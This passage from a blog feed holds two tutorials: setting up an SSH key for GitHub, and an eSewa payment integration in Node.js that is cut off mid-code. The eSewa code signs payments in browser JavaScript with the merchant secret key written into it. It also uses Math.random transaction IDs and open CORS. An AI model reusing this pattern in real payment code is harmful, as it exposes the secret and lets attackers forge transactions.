type="image/jpeg"/><content:encoded><![CDATA[<p>When working with GitHub, using SSH for authentication is a secure and efficient approach. Recently, I ran into an issue where my GitHub push attempts were met with a frustrating <code>Permission denied (publickey)</code> error. If you’re in the same boat, don’t worry! This article walks you through generating and adding an SSH key for GitHub, step by step.</p>
<h3 id="heading-1-checking-the-current-ssh-configuration">1. Checking the Current SSH Configuration</h3>
<p>First, let’s check if there are any existing SSH keys:</p>
<pre><code class="lang-javascript">ls -al ~/.ssh
</code></pre>
<p>This command lists all the files in the <code>.ssh</code> directory. If you see files like <code>id_rsa</code> or <code>id_ed25519</code>, you likely already have SSH keys set up. In my case, the directory only contained <code>authorized_keys</code> and <code>known_hosts</code>, meaning no SSH key pair was available.</p>
<h3 id="heading-2-generating-a-new-ssh-key-pair">2. Generating a New SSH Key Pair</h3>
<p>Since there was no key, I generated a new SSH key pair using the ED25519 algorithm, which is more secure and faster than RSA:</p>
<pre><code class="lang-javascript">ssh-keygen -t ed25519 -C <span class="hljs-string">"your-email@example.com"</span>
</code></pre>
<p>You’ll be prompted for a file location — just press Enter to accept the default (<code>/home/yourusername/.ssh/id_ed25519</code>). Then, enter a passphrase for added security (or leave it empty for convenience). Once done, you’ll see output like this:</p>
<pre><code class="lang-javascript">Your identification has been saved <span class="hljs-keyword">in</span> /home/yourusername/.ssh/id_ed25519
Your public key has been saved <span class="hljs-keyword">in</span> /home/yourusername/.ssh/id_ed25519.pub
</code></pre>
<h3 id="heading-3-starting-the-ssh-agent">3. Starting the SSH Agent</h3>
<p>The SSH agent manages your SSH keys, so you don’t need to enter the passphrase every time. Start it like this:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">eval</span> <span class="hljs-string">"$(ssh-agent -s)"</span>
</code></pre>
<p>You’ll see a message like <code>Agent pid 54866</code>, confirming the agent is running.</p>
<h3 id="heading-4-adding-the-ssh-key-to-the-agent">4. Adding the SSH Key to the Agent</h3>
<p>Now, add the private key to the agent:</p>
<pre><code class="lang-javascript">ssh-add ~<span class="hljs-regexp">/.ssh/i</span>d_ed25519
</code></pre>
<p>If everything’s set up correctly, you won’t see any errors.</p>
<h3 id="heading-5-adding-the-ssh-key-to-github">5. Adding the SSH Key to GitHub</h3>
<p>The next step is to add your <strong>public key</strong> (<code>id_ed25519.pub</code>) to GitHub. Display the key with this command:</p>
<pre><code class="lang-javascript">cat ~<span class="hljs-regexp">/.ssh/i</span>d_ed25519.pub
</code></pre>
<p>Copy the output and go to your GitHub account:</p>
<ol>
<li><p>Go to <strong>Settings</strong> → <strong>SSH and GPG keys</strong>.</p>
</li>
<li><p>Click <strong>New SSH key</strong>.</p>
</li>
<li><p>Paste the copied key and give it a name.</p>
</li>
<li><p>Click <strong>Add SSH key</strong>.</p>
</li>
</ol>
<h3 id="heading-6-testing-the-ssh-connection">6. Testing the SSH Connection</h3>
<p>Let’s confirm everything works:</p>
<pre><code class="lang-javascript">ssh -T git@github.com
</code></pre>
<p>If it’s successful, you’ll see a message like this:</p>
<pre><code class="lang-javascript">Hi your-github-username! You<span class="hljs-string">'ve successfully authenticated.</span>
</code></pre>
<h3 id="heading-7-pushing-to-github">7. Pushing to GitHub</h3>
<p>Finally, try pushing your code again:</p>
<pre><code class="lang-javascript">git push -u origin main
</code></pre>
<p>Everything should work perfectly now! 🎉</p>
<hr />
<p><strong>Final Thoughts</strong> Setting up SSH for GitHub takes a few steps, but once it’s done, you’ll have a secure and password-free way to manage your repositories. If you run into any snags, double-check your SSH agent, key permissions, and GitHub key settings.</p>
<p>Happy coding! 🚀</p>
]]></content:encoded></item><item><title><![CDATA[eSewa and Node.js: The Dynamic Duo of Payment Integration – No Capes Required!]]></title><description><![CDATA[Alright, folks, it’s time to roll up our sleeves and dive into the exciting world of payment integration! To kick things off, we’ll create a payment initiation form in a file named form.html. This form will be the friendly face of our application, al...]]></description><link>https://article.kumarchaudhary.com.np/esewa-and-nodejs-the-dynamic-duo-of-payment-integration-no-capes-required</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/esewa-and-nodejs-the-dynamic-duo-of-payment-integration-no-capes-required</guid><category><![CDATA[esewa]]></category><category><![CDATA[payment gateway]]></category><category><![CDATA[Payment Gateway integrations on website]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[Nepal]]></category><category><![CDATA[IT]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Tue, 05 Nov 2024 07:22:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1730791085890/5f685bee-436d-40a7-be25-24aaa34f6e7e.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Alright, folks, it’s time to roll up our sleeves and dive into the exciting world of payment integration! To kick things off, we’ll create a payment initiation form in a file named <code>form.html</code>. This form will be the friendly face of our application, allowing users to input the amount they want to pay and any applicable taxes.</p>
<p><strong>Step-1: Create Payment Initiation Form</strong></p>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>eSewa Payment Integration<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
      <span class="hljs-selector-class">.container</span> {
        <span class="hljs-attribute">max-width</span>: <span class="hljs-number">500px</span>;
        <span class="hljs-attribute">margin</span>: <span class="hljs-number">50px</span> auto;
        <span class="hljs-attribute">padding</span>: <span class="hljs-number">20px</span>;
        <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
        <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">8px</span>;
        <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">2px</span> <span class="hljs-number">4px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
      }
      <span class="hljs-selector-class">.form-group</span> {
        <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">20px</span>;
      }
      <span class="hljs-selector-tag">label</span> {
        <span class="hljs-attribute">display</span>: block;
        <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">8px</span>;
        <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">600</span>;
      }
      <span class="hljs-selector-tag">input</span> {
        <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
        <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
        <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
        <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
        <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
      }
      <span class="hljs-selector-tag">button</span> {
        <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#60bb46</span>;
        <span class="hljs-attribute">color</span>: white;
        <span class="hljs-attribute">padding</span>: <span class="hljs-number">12px</span> <span class="hljs-number">24px</span>;
        <span class="hljs-attribute">border</span>: none;
        <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
        <span class="hljs-attribute">cursor</span>: pointer;
        <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
        <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
      }
      <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span> {
        <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#4fa83d</span>;
      }
      <span class="hljs-selector-class">.error</span> {
        <span class="hljs-attribute">color</span>: <span class="hljs-number">#dc3545</span>;
        <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">10px</span>;
        <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
        <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
        <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fff3f3</span>;
        <span class="hljs-attribute">display</span>: none;
      }
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>eSewa Payment Test<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"payment-form"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"form-group"</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"amount"</span>&gt;</span>Amount (NPR):<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"amount"</span> <span class="hljs-attr">step</span>=<span class="hljs-string">"0.01"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"100"</span> <span class="hljs-attr">min</span>=<span class="hljs-string">"1"</span> /&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"form-group"</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"tax_amount"</span>&gt;</span>Tax Amount (NPR):<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"tax_amount"</span> <span class="hljs-attr">step</span>=<span class="hljs-string">"0.01"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"10"</span> <span class="hljs-attr">min</span>=<span class="hljs-string">"0"</span> /&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"initializePayment()"</span>&gt;</span>Pay with eSewa<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"error-message"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"error"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p><strong>Step-2: Setup Basic server</strong></p>
<p><strong>Now lets move on to Backend</strong></p>
<p>Enter the following command on your terminal which will create package.json file where we can manage list of dependecies which are required for the project.</p>
<pre><code class="lang-javascript">npm init -y
</code></pre>
<p>Install the follwing dependecises</p>
<pre><code class="lang-javascript"> npm i axios body-parser cors crypto-js express nodemon uuid
</code></pre>
<p>After entering that command we will be having this on your package.json file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730785587165/87128803-cb55-438b-babc-2852b6d99f47.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-importing-packages-commonjs-vs-es-modules">Importing Packages: CommonJS vs. ES Modules</h3>
<p>Node.js supports two module systems: CommonJS (<code>require</code>) and ES Modules (<code>import</code>). Let’s look at each in detail.</p>
<h4 id="heading-commonjs-require">CommonJS (<code>require</code>)</h4>
<p>The CommonJS module system is the traditional way to handle modules in Node.js. Here’s how you would import a package using CommonJS:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> packageName = <span class="hljs-built_in">require</span>(<span class="hljs-string">'package-name'</span>);
</code></pre>
<p>This syntax is synchronous and works seamlessly with many older Node.js projects. CommonJS has been the default in Node.js for a long time, so it’s widely supported by packages.</p>
<h4 id="heading-es-modules-import">ES Modules (<code>import</code>)</h4>
<p>ES Modules use the <code>import</code> syntax, introduced as part of ECMAScript standards, and are generally the preferred approach for newer projects. Here’s how you would import a package using ES Modules:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> packageName <span class="hljs-keyword">from</span> <span class="hljs-string">'package-name'</span>;
</code></pre>
<p>To use this syntax in Node.js, make sure your <code>package.json</code> includes the following:</p>
<pre><code class="lang-javascript"><span class="hljs-string">"type"</span>: <span class="hljs-string">"module"</span>
</code></pre>
<p>Also add the script to start the server</p>
<pre><code class="lang-javascript"><span class="hljs-string">"dev"</span>: <span class="hljs-string">"nodemon index.js"</span>
</code></pre>
<p>This tells Node.js to interpret <code>.js</code> files as ES Modules by default.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730786348279/34892bfa-652e-4792-83c8-cb72a76f381f.png" alt class="image--center mx-auto" /></p>
<p>If you encounter issues with your setup, you can replace your <code>package.json</code> with the code below and reinstall the dependencies. However, be cautious: <strong>do not overwrite your</strong> <code>package.json</code> if you’re working on an existing project—the listed packages are specific to this setup and may differ from the libraries your project depends on.</p>
<pre><code class="lang-javascript">{
  <span class="hljs-string">"name"</span>: <span class="hljs-string">"payment-integration"</span>,
  <span class="hljs-string">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-string">"description"</span>: <span class="hljs-string">""</span>,
  <span class="hljs-string">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-string">"type"</span>: <span class="hljs-string">"module"</span>,
  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-string">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" &amp;&amp; exit 1"</span>,
    <span class="hljs-string">"dev"</span>: <span class="hljs-string">"nodemon index.js"</span>
  },
  <span class="hljs-string">"keywords"</span>: [],
  <span class="hljs-string">"author"</span>: <span class="hljs-string">""</span>,
  <span class="hljs-string">"license"</span>: <span class="hljs-string">"ISC"</span>,
  <span class="hljs-string">"dependencies"</span>: {
    <span class="hljs-string">"axios"</span>: <span class="hljs-string">"^1.7.7"</span>,
    <span class="hljs-string">"body-parser"</span>: <span class="hljs-string">"^1.20.3"</span>,
    <span class="hljs-string">"cors"</span>: <span class="hljs-string">"^2.8.5"</span>,
    <span class="hljs-string">"crypto"</span>: <span class="hljs-string">"^1.0.1"</span>,
    <span class="hljs-string">"crypto-js"</span>: <span class="hljs-string">"^4.2.0"</span>,
    <span class="hljs-string">"express"</span>: <span class="hljs-string">"^4.21.1"</span>,
    <span class="hljs-string">"nodemon"</span>: <span class="hljs-string">"^3.1.7"</span>,
    <span class="hljs-string">"uuid"</span>: <span class="hljs-string">"^10.0.0"</span>
  }
}
</code></pre>
<h3 id="heading-when-to-use-commonjs-vs-es-modules">When to Use CommonJS vs. ES Modules</h3>
<ul>
<li><p><strong>CommonJS</strong>: Useful for compatibility with older libraries or projects that rely on synchronous imports.</p>
</li>
<li><p><strong>ES Modules</strong>: Ideal for modern, asynchronous code and works well with the latest JavaScript features. It’s also becoming the standard, so consider using it for new projects.</p>
</li>
</ul>
<p>For now create the <strong>index.js file</strong> in backend root directory where we will be handling our esewa payment integration code for you project you need write it down on your preferred project methods /files.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// server.js</span>
<span class="hljs-keyword">import</span> express <span class="hljs-keyword">from</span> <span class="hljs-string">"express"</span>;
<span class="hljs-keyword">import</span> bodyParser <span class="hljs-keyword">from</span> <span class="hljs-string">"body-parser"</span>;
<span class="hljs-keyword">import</span> cors <span class="hljs-keyword">from</span> <span class="hljs-string">"cors"</span>;

<span class="hljs-keyword">const</span> app = express();

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span> }));
app.use(cors({ <span class="hljs-attr">origin</span>: <span class="hljs-string">"*"</span> }));

app.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Server running on port 3000"</span>);
});
</code></pre>
<p><strong>Firing Up Your Server: Let’s Get This Party Started!</strong></p>
<p>So, you’ve set up your server script in <code>package.json</code>, and now it’s time for the moment of truth. To get things rolling, just type:</p>
<pre><code class="lang-javascript">npm run dev
</code></pre>
<p>Hit enter, and... <em>drumroll</em>... hurray! 🎉 Your server is up and running! Give yourself a high-five (or a fist bump to your screen—just not too hard). Now you’re officially in business!</p>
<p>If you see the magic words “Server is running,” you’re all set. Go forth and conquer that code!</p>
<h3 id="heading-step-3-creating-a-payment-signature-and-kicking-off-the-payment-process"><strong>Step-3: Creating a Payment Signature and Kicking Off the Payment Process!</strong> 🎉</h3>
<p>Let’s dive back into our payment form, shall we?</p>
<p>Here’s a breakdown of this code , explaining each part of the payment initialization and signature generation process:</p>
<hr />
<p><strong>Creating a Payment Signature and Initializing the Payment</strong></p>
<p>This code snippet shows how to generate a secure payment signature and initialize the payment process in JavaScript. Let’s walk through it step by step.</p>
<h3 id="heading-i-generatesignature-function">i. <code>generateSignature</code> Function</h3>
<p>The <code>generateSignature</code> function creates a secure, HMAC SHA-256 signature for the payment using the provided details. This is crucial for verifying and securing the transaction data.</p>
<p>Here’s what each part of this function does:</p>
<ul>
<li><p><strong>Inputs:</strong> <code>total_amount</code>, <code>transaction_uuid</code>, <code>product_code</code>, and <code>secretKey</code> are passed in as arguments.</p>
</li>
<li><p><strong>Creating the Signed String:</strong> The code combines these values into a single string (<code>signedFields</code>), formatted as <code>total_amount=&lt;value&gt;,transaction_uuid=&lt;value&gt;,product_code=&lt;value&gt;</code>.</p>
</li>
<li><p><strong>Generating the HMAC SHA-256 Hash:</strong> It uses the <code>CryptoJS.HmacSHA256</code> method to create a cryptographic hash based on the <code>signedFields</code> string and the <code>secretKey</code>.</p>
</li>
<li><p><strong>Encoding to Base64:</strong> The resulting hash is converted to a base64 string using <code>CryptoJS.enc.Base64.stringify</code>, making it compatible with many API formats.</p>
<pre><code class="lang-javascript">  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateSignature</span>(<span class="hljs-params">total_amount, transaction_uuid, product_code, secretKey</span>) </span>{
    <span class="hljs-keyword">const</span> signedFields = <span class="hljs-string">`total_amount=<span class="hljs-subst">${total_amount}</span>,transaction_uuid=<span class="hljs-subst">${transaction_uuid}</span>,product_code=<span class="hljs-subst">${product_code}</span>`</span>;
    <span class="hljs-keyword">const</span> hash = CryptoJS.HmacSHA256(signedFields, secretKey);
    <span class="hljs-keyword">const</span> base64Signature = CryptoJS.enc.Base64.stringify(hash);
    <span class="hljs-keyword">return</span> base64Signature;
  }
</code></pre>
</li>
</ul>
<p><strong>Purpose:</strong> This signature, unique to each transaction, protects sensitive transaction details from tampering.</p>
<h3 id="heading-ii-initializepayment-function">ii. <code>initializePayment</code> Function</h3>
<p>The <code>initializePayment</code> function handles the start of the payment process. It validates the payment information and calculates the <code>total_amount</code> to ensure everything checks out before the payment proceeds.</p>
<p>Here’s what happens in <code>initializePayment</code>:</p>
<ul>
<li><p><strong>Hiding Error Messages:</strong> It first hides any error message that might be displayed from a previous attempt.</p>
</li>
<li><p><strong>Fetching and Calculating Total Amount:</strong> It retrieves the <code>amount</code> and <code>taxAmount</code> from input fields, converts them to numbers, and calculates the total by adding the two values.</p>
</li>
<li><p><strong>Generating a Transaction UUID:</strong> This function then creates a unique transaction ID, <code>transaction_uuid</code>, using a random string, making each transaction uniquely identifiable.</p>
</li>
<li><p><strong>Setting the Product Code:</strong> The <code>product_code</code> is defined as a constant, <code>EPAYTEST</code> in this case, which could represent a demo or test product.</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initializePayment</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> errorElement = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"error-message"</span>);
    errorElement.style.display = <span class="hljs-string">"none"</span>;
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"amount"</span>).value;
      <span class="hljs-keyword">const</span> taxAmount = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"tax_amount"</span>).value;
      <span class="hljs-keyword">const</span> total_amount = (<span class="hljs-built_in">parseFloat</span>(amount) + <span class="hljs-built_in">parseFloat</span>(taxAmount)).toFixed(<span class="hljs-number">2</span>);
      <span class="hljs-keyword">const</span> transaction_uuid = <span class="hljs-built_in">Math</span>.random().toString(<span class="hljs-number">36</span>).substring(<span class="hljs-number">2</span>, <span class="hljs-number">14</span>);
      <span class="hljs-keyword">const</span> product_code = <span class="hljs-string">"EPAYTEST"</span>;
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Initiating payment with:"</span>, { total_amount, transaction_uuid, product_code });
</code></pre>
</li>
<li><p><strong>Validating Total Amount:</strong> If the calculated <code>total_amount</code> is less than or equal to zero, it throws an error to alert the user that the entered amount is invalid.</p>
</li>
<li><p><strong>Error Handling:</strong> If any error occurs during initialization, it logs the error and displays an error message on the page.</p>
<pre><code class="lang-javascript">      <span class="hljs-keyword">if</span> (<span class="hljs-built_in">parseFloat</span>(total_amount) &lt;= <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Please enter a valid amount greater than 0"</span>);
      }
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Payment initialization error:"</span>, error);
      errorElement.style.display = <span class="hljs-string">"block"</span>;
      errorElement.innerText = error.message;
      errorElement.textContent = error.message;
    }
  }
</code></pre>
</li>
</ul>
<h3 id="heading-putting-it-all-together">Putting It All Together</h3>
<p>With these two elements, you’ll have a fully functioning setup:</p>
<ol>
<li><p>The payment button triggers the <code>initializePayment</code> function.</p>
</li>
<li><p>The CryptoJS library, added via CDN, powers the secure hashing process in <code>generateSignature</code>.</p>
</li>
</ol>
<p>Below code the combination above two blockl code which generate a secure payment signature and initialize the payment process in JavaScript.First set</p>
<pre><code class="lang-javascript">  &lt;script&gt;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateSignature</span>(<span class="hljs-params">
      total_amount,
      transaction_uuid,
      product_code,
      secretKey
    </span>) </span>{
      <span class="hljs-comment">// Create the string in the correct order</span>
      <span class="hljs-keyword">const</span> signedFields = <span class="hljs-string">`total_amount=<span class="hljs-subst">${total_amount}</span>,transaction_uuid=<span class="hljs-subst">${transaction_uuid}</span>,product_code=<span class="hljs-subst">${product_code}</span>`</span>;

      <span class="hljs-comment">// Generate the HMAC SHA-256 signature</span>
      <span class="hljs-keyword">const</span> hash = CryptoJS.HmacSHA256(signedFields, secretKey);

      <span class="hljs-comment">// Convert the result to base64</span>
      <span class="hljs-keyword">const</span> base64Signature = CryptoJS.enc.Base64.stringify(hash);

      <span class="hljs-keyword">return</span> base64Signature;
    }
    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initializePayment</span>(<span class="hljs-params"></span>) </span>{
      <span class="hljs-keyword">const</span> errorElement = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"error-message"</span>);
      errorElement.style.display = <span class="hljs-string">"none"</span>;
      <span class="hljs-keyword">try</span> {
        <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"amount"</span>).value;
        <span class="hljs-keyword">const</span> taxAmount = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"tax_amount"</span>).value;
        <span class="hljs-keyword">const</span> total_amount = (
          <span class="hljs-built_in">parseFloat</span>(amount) + <span class="hljs-built_in">parseFloat</span>(taxAmount)
        ).toFixed(<span class="hljs-number">2</span>);
        <span class="hljs-keyword">const</span> transaction_uuid = <span class="hljs-built_in">Math</span>.random().toString(<span class="hljs-number">36</span>).substring(<span class="hljs-number">2</span>, <span class="hljs-number">14</span>); <span class="hljs-comment">// Example transaction UUID</span>
        <span class="hljs-keyword">const</span> product_code = <span class="hljs-string">"EPAYTEST"</span>;
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Initiating payment with:"</span>, {
          total_amount,
          transaction_uuid,
          product_code,
        });
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">parseFloat</span>(total_amount) &lt;= <span class="hljs-number">0</span>) {
          <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Please enter a valid amount greater than 0"</span>);
        }
      } <span class="hljs-keyword">catch</span> (error) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Payment initialization error:"</span>, error);
        errorElement.style.display = <span class="hljs-string">"block"</span>;
        errorElement.innerText = error.message;
        errorElement.textContent = error.message;
      }
    }
  &lt;/script&gt;
</code></pre>
<h3 id="heading-step-3"><strong>Step 3</strong></h3>
<h3 id="heading-almost-there-bringing-up-the-esewa-payment-ui"><strong>Almost There: Bringing Up the eSewa Payment UI!</strong></h3>
<p>Alright, we’ve got the foundation laid out, but we’re only halfway to the finish line! We still need to make that magical eSewa payment UI pop up—the one that handles login and payment details on a third-party site. Ever wonder how sites open that fancy payment screen? Don’t worry if you’re not sure yet. I’m here to help, and I promise it’s simple!</p>
<p>Now, I could tell you to just copy-paste my code and call it a day… but hold on! Don’t do that until you understand what’s happening here. Let’s walk through it so you’re not just clicking buttons but actually mastering this process. Ready to dive in?</p>
<p>The Final Countdown: Making the eSewa Payment UI Appear!</p>
<p>Alright, we’ve set up our transaction data and secured it with a signature. Now it’s time to bring that eSewa payment screen to life! Let’s break down how this code sends everything over to eSewa so users can complete their payment with style.</p>
<h4 id="heading-step-i-generating-the-signature">Step i: Generating the Signature 🎩🔐</h4>
<p>This bit of code is like our VIP pass. To make sure eSewa knows we’re legit, we use <code>generateSignature()</code> to create a secure signature with our secret key, <code>"8gBm/:&amp;EnhH.1/q"</code>. The secret key is provided by esewa fell free to check the documentation. OfCourse you will need a live secret to work in real world.As for now let’s procces with test secret key, this keeps our transaction data safe and sound. Add this below code after if statement in try catch block that we did on our previous step.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> signature = generateSignature(
  total_amount,
  transaction_uuid,
  product_code,
  <span class="hljs-string">"8gBm/:&amp;EnhH.1/q"</span>
);
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Generated Signature:"</span>, signature);
</code></pre>
<p>Here we’ve got our <code>signature</code> in hand. You could even print it out as proof of your fancy crypto skills!</p>
<h4 id="heading-step-ii-building-the-payment-data">Step ii: Building the Payment Data 🛠️📦</h4>
<p>Next up, we need a nicely packed box of <code>paymentData</code>. Think of this as the gift basket we’re sending to eSewa, packed with all the transaction details:</p>
<ul>
<li><p><strong>amount, total_amount, tax_amount</strong>: These tell eSewa how much we’re paying.</p>
</li>
<li><p><strong>transaction_uuid</strong>: Like a fingerprint for our transaction.</p>
</li>
<li><p><strong>product_code</strong>: The unique code for our product.</p>
</li>
<li><p><strong>signature</strong>: Our security stamp from Step 1.</p>
</li>
<li><p><strong>URLs for success and failure</strong>: These URLs let eSewa know where to send the user after they’ve paid or backed out.</p>
</li>
<li><p><strong>Charges</strong>: Here we assume no delivery or service charge and set these to <code>0</code>.</p>
</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> paymentData = {
  <span class="hljs-attr">amount</span>: amount,
  <span class="hljs-attr">total_amount</span>: total_amount,
  <span class="hljs-attr">tax_amount</span>: taxAmount,
  <span class="hljs-attr">transaction_uuid</span>: transaction_uuid,
  <span class="hljs-attr">product_code</span>: product_code,
  <span class="hljs-attr">signature</span>: signature,
  <span class="hljs-attr">success_url</span>: <span class="hljs-string">"http://localhost:3000/payment-success"</span>,
  <span class="hljs-attr">failure_url</span>: <span class="hljs-string">"http://localhost:3000/payment-failure"</span>,
  <span class="hljs-attr">product_delivery_charge</span>: <span class="hljs-string">"0"</span>,
  <span class="hljs-attr">product_service_charge</span>: <span class="hljs-string">"0"</span>,
